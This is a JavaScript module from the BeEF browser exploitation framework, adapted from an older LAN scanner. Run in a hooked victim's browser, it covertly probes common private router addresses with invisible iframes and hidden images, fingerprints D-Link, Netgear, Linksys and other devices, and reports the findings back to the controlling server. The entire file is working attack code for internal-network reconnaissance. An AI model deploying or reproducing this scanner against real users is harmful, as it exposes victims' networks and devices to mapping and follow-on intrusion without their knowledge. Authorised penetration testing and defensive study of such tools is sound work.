//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js

beef.execute(function() {

	if(!beef.browser.isFF() && !beef.browser.isS()){
		beef.debug("[command #<%= @command_id %>] Browser is not supported.");
		beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
		return;
	}

//------------------------------------------------------------------------------------------
//  LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk)
//  Blog: www.thespanner.co.uk
//  Labs site : www.businessinfo.co.uk
//  Version 2.1	
//------------------------------------------------------------------------------------------

/*  Copyright 2007  Gareth Heyes  (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

	var devices = [
		{make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'},
		{make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'},
		{make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'},
		{make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'},
		{make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'},
		{make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'},
		{make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'},
		{make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'},
		{make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'},
		{make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'},
		{make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'},
		{make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'},
		{make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'},
		{make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'},
		{make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'},
		{make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'},
		{make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'},
		{make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'},
		{make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'},
		{make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'},
		{make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'},
		{make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'},
		{make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'},
		{make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'},
		{make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'},
		{make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'},
		{make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'},
		{make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'},
		{make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'},
		{make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'},
		{make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'},
		{make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'},
		{make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'},
		{make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'},
		{make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'},
		{make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'},
		{make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'},
		{make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'},
		{make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'},
		{make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'},
		{make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'},
		{make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'},
		{make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'},
		{make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'},
		{make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'},
		{make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'},
		{make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'},
		{make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'},
		{make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'},
		{make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'},
		{make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'},
		{make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'},
		{make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'},
		{make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'},
		{make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'},
		{make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'},
		{make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'},
		{make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'},
		{make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'},
		{make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'},
		{make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'},
		{make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'},
		{make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'},
		{make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'},
		{make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'},
		{make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'},
		{make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'},
		{make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'},
		{make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'},
		{make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'},
		{make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'},
		{make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'},
		{make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'},
		{make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'},
		{make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'},
		{make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'},
		{make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'},
		{make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'},
		{make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'},
		{make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'},
		{make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'},
		{make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'},
		{make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'},
		{make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'},
		{make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'},
		{make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'},
		{make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'},
		{make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'},
		{make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'},
		{make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'},
		{make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'},
		{make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'},
		{make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'},
		{make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'},
		{make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'},
		{make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'},
		{make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'},
		{make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'},
		{make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'},
		{make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'},
		{make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'},
		{make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'},
		{make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'},
		{make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'},
		{make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'},
		{make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'},
		{make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'},
		{make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'},
		{make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'},
		{make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'},
		{make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'},
		{make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'},
		{make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'},
		{make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'},
		{make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'},
		{make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'},
		{make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'},
		{make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'},
		{make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'},
		{make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'},
		{make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'},
		{make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'},
		{make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'},
		{make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'},
		{make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'},
		{make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'},
		{make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'},
		{make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'},
		{make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'},
		{make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'},
		{make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'},
		{make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'},
		{make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'},
		{make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'},
		{make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'},
		{make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'},
		{make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'},
		{make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'},
		{make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'},
		{make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'},
		{make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'},
		{make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'},
		{make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'},
		{make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'},
		{make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'},
		{make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'},
		{make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'},
		{make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'},
		{make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'},
		{make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'},
		{make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'},
		{make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'},
		{make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'},
		{make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'},
		{make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'},
		{make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'},
		{make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'},
		{make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'},
		{make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'},
		{make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'},
		{make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'},
		{make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'},
		{make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'},
		{make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'},
		{make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'},
		{make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'},
		{make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'},
		{make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'},
		{make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'},
		{make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'},
		{make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'},
		{make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'},
		{make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'},
		{make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'},
		{make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'},
		{make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'},
		{make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'},
		{make:'Sitecom',model:'WL114',graphic:'/slogo.gif'},
		{make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'},				
		{make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'},
		{make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'},
		{make:'DLink',model:'DI524',graphic:'/m524.gif'},
		{make:'Cisco',model:'2600',graphic:'/images/logo.png'},
		{make:'ASUS',model:'RX Series',graphic:'/images/banner_sys4bg.gif'},
		{make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'}
	];

	// No signatures for commented out IPs
	var ips = [
		{ip:'192.168.1.30',make:'DLink'},
		{ip:'192.168.1.50',make:'DLink'},
		{ip:'192.168.2.1',make:'SMC'},
		//{ip:'192.168.2.1',make:'Accton'},
		//{ip:'192.168.1.1',make:'3Com'},
		//{ip:'192.168.1.1',make:'AirLink'},
		//{ip:'192.168.1.1',make:'Arescom'},
		//{ip:'192.168.1.1',make:'Teletronics'},
		//{ip:'192.168.1.1',make:'Dell'},
		{ip:'192.168.1.1',make:'DLink'},
		{ip:'192.168.1.1',make:'Linksys'},
		{ip:'192.168.1.1',make:'ZyXEL'},
		{ip:'192.168.1.1',make:'ASUS'},
		{ip:'192.168.0.1',make:'DLink'},
		{ip:'192.168.0.1',make:'Netgear'},
		{ip:'192.168.0.1',make:'Linksys'},
		{ip:'192.168.0.1',make:'SurfinBird'},
		{ip:'192.168.0.1',make:'ASUS'},
		{ip:'192.168.0.227',make:'Netgear'},
		{ip:'192.168.0.254',make:'DLink'},
		{ip:'192.168.1.225',make:'Linksys'},
		{ip:'192.168.1.226',make:'Linksys'},
		{ip:'192.168.1.245',make:'Linksys'},
		{ip:'192.168.1.246',make:'Linksys'},
		{ip:'192.168.1.251',make:'Linksys'},
		{ip:'192.168.100.1',make:'Thomson'},
		{ip:'192.168.1.254',make:'ZyXEL'},
		{ip:'192.168.1.254',make:'2Wire'},
		{ip:'192.168.0.1',make:'Vigor'},
		{ip:'192.168.123.254',make:'Sitecom'},
		//{ip:'10.0.1.1',make:'Apple'},
		{ip:'10.1.1.1',make:'DLink'},
		{ip:'10.0.0.1',make:'ZyXEL'},
		//{ip:'10.0.0.2',make:'Aceex'},
		//{ip:'10.0.0.2',make:'Bausch'},
		//{ip:'10.0.0.2',make:'E-Tech'},
		//{ip:'10.0.0.2',make:'JAHT'},
		{ip:'192.168.1.254',make:'2Wire'},
		{ip:'192.168.65.1',make:'Cisco'}
		//{ip:'192.168.100.1',make:'Motorola'},
		//{ip:'192.168.100.1',make:'Ambit'},
	];

	var guesses = [
		{host:'10.1.1.1',label:'Device',labelText:'DLink',port:80},
		{host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80},
		{host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80},
		{host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80},
		{host:'10.0.1.1',label:'Device',labelText:'Apple',port:80},	
		{host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80},		
		{host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80},
		{host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80},		
		{host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80},
		{host:'192.168.1.30',label:'Device',labelText:'DLink',port:80},
		{host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80},
		{host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80},
		{host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80},
		{host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80},
		{host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80},
		{host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80},
		{host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80},		
		{host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80},
		{host:'192.168.2.25',label:'Device',labelText:'SMC',port:80},
		{host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80},
		{host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80},
		{host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80},
		{host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80},
		{host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80},
		{host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80},
		{host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80},
		{host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80}	
	];

	lanScanner = {timeout:1,probes:0};
	//lol pardon the innuendo
	lanScanner.handleProbe = function(portObj) {
		if(portObj.init == 1) {
			lanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model});		
			document.body.removeChild(portObj);
		} 
	}
	// ie sucks! onload doesn't work unless specified directly in the document
	// that's why I have to do this :(
	lanScanner.handleConnection = function(portObj) {
		if(portObj.init == 1) {
			if(beef.browser.isIE()) {
				portObj.end = new Date().getTime();		
				if(portObj.end - portObj.start > 15000) {			
					document.body.removeChild(portObj);
					return false;			
				}
			}	
			var obj = portObj.store;
			obj.status = 'Open';			
			lanScanner.addHost(obj);
			document.body.removeChild(portObj);
		} else {
			portObj.start = new Date().getTime();
		}
	}
	lanScanner.runScan = function() {
		var obj, portObj;
		guessesLen = guesses.length;
		for(var i=0;i<guessesLen;i++) {
			obj = guesses[i];
			currentPort = obj.port;
			currentAddress = obj.host+':'+currentPort;
			beef.debug("[JS LAN Scanner] Connecting to: " + currentAddress);
			portObj = document.getElementById('connection'+i);
			portObj.src = 'http://'+currentAddress;
			portObj.store = obj;
			portObj.init = 1;
			document.body.appendChild(portObj);
		}
	}
	lanScanner.getPortName = function(port) {
		var portNames = {'HTTP Server':80,'FTP Server':21};
		for(var i in portNames) {
			if(portNames[i] == port) {
				return i;
			}
		}
		return 'Unknown';
	}
	lanScanner.addHost = function(obj) {
		this.timeout = 0;
		beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]");
		beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());
		lanScanner.fingerPrint(obj.host);
	}
	lanScanner.addDevice = function(obj) {
		beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');
		beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());
	}
	lanScanner.destroyConnections = function() {
		var guessesLen = guesses.length;
		for(var f=0;f<guessesLen;f++) {
			document.body.removeChild(document.getElementById('connection'+f));
		}
	}
	lanScanner.fingerPrint = function(address) {
		var make,fingerprint;
		for(var i=0;i<ips.length;i++) {
			if(ips[i].ip == address) {
				make = ips[i].make;						
				for(var k=0;k<devices.length;k++) {
					if(devices[k].make == make) {
						var img = new Image();
						img.setAttribute("style","visibility:hidden");
						img.setAttribute("width","0");
						img.setAttribute("height","0");
						img.id = 'probe'+this.probes;
						img.name = 'probe'+this.probes;
						img.onerror = function() { document.body.removeChild(this); }
						img.onload = function() { lanScanner.handleProbe(this); }
						img.init = 1;		
						img.model = devices[k].model;
						img.make = make;
						img.host = address;
						img.src = 'http://' + address + devices[k].graphic;										
						this.probes++;
						document.body.appendChild(img);
					}
				}
			}
		}
	}

	var guessesLen = guesses.length;
	for(var f=0;f<guessesLen;f++) {
		var iframe = beef.dom.createInvisibleIframe();
		iframe.name = "connection"+f;
		iframe.id = "connection"+f;
		iframe.onload = function() {
			lanScanner.handleConnection(this);
		}
	}
	beef.debug("[JS LAN Scanner] Starting scan ("+guessesLen+" IPs)");
	beef.net.send("<%= @command_url %>", <%= @command_id %>, "Starting scan ("+guessesLen+" IPs)");
	lanScanner.runScan();
	//lanScanner.destroyConnections();
});

